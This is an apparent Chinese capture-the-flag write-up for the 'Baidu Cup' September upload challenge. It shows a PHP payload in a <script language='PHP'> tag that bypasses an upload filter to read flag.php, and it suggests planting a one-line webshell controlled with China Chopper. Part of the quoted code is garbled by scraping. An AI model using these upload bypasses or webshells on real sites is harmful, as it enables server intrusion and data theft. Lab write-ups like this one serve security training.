“百度杯”CTF比赛 九月场 upload

“百度杯”CTF比赛 九月场

题目内容:

想怎么传就怎么传,就是这么任性。
tips:flag在flag.php中

测试可以上传文件类型

.txt .php.js 都可以上传成功
说明在上传文件的过程中并无拦截
题目中的“想怎么传就怎么传”说的没错

构造php脚本
  1. 既然有提示“tips:flag在flag.php中 ”,故只要可以阅读flag.php的内容即可。

// get contents of a file into a string
$filename = "/usr/local/something.txt";
$handle = fopen($filename, "r");
$contents = fread($handle, filesize($filename));
fclose($handle);
?>

最基础的阅读文件的方式/
结果返回:
$filename = “flag.”;
h a n d l e = f o p e n ( handle = fopen( handle=fopen(filename, “r”);
c o n t e n t s = f r e a d ( contents = fread( contents=fread(handle, filesize($filename));
each c o n t e n t s ; f c l o s e ( contents; fclose( contents;fclose(handle); ?>
说明php,

  1. 用js绕过
<script language="PHP">	/语言为php,用了大写绕过
   echo((file_get_contents('../flag.'.'p'.'h'.'p')));
</script>

注:下标不能是js,上传js文件,会在其中前后加 pre 标签

//输出结果

  1. 以上脚本可以执行,执行后查看源代码可得flag

  2. 路径用flag.php也可以得到结果

还可以直接写一句话木马,用菜刀控制,直接找

定向找文件的方法若路径不清楚在实际中是很难实现的

你可能感兴趣的:(ctf练习)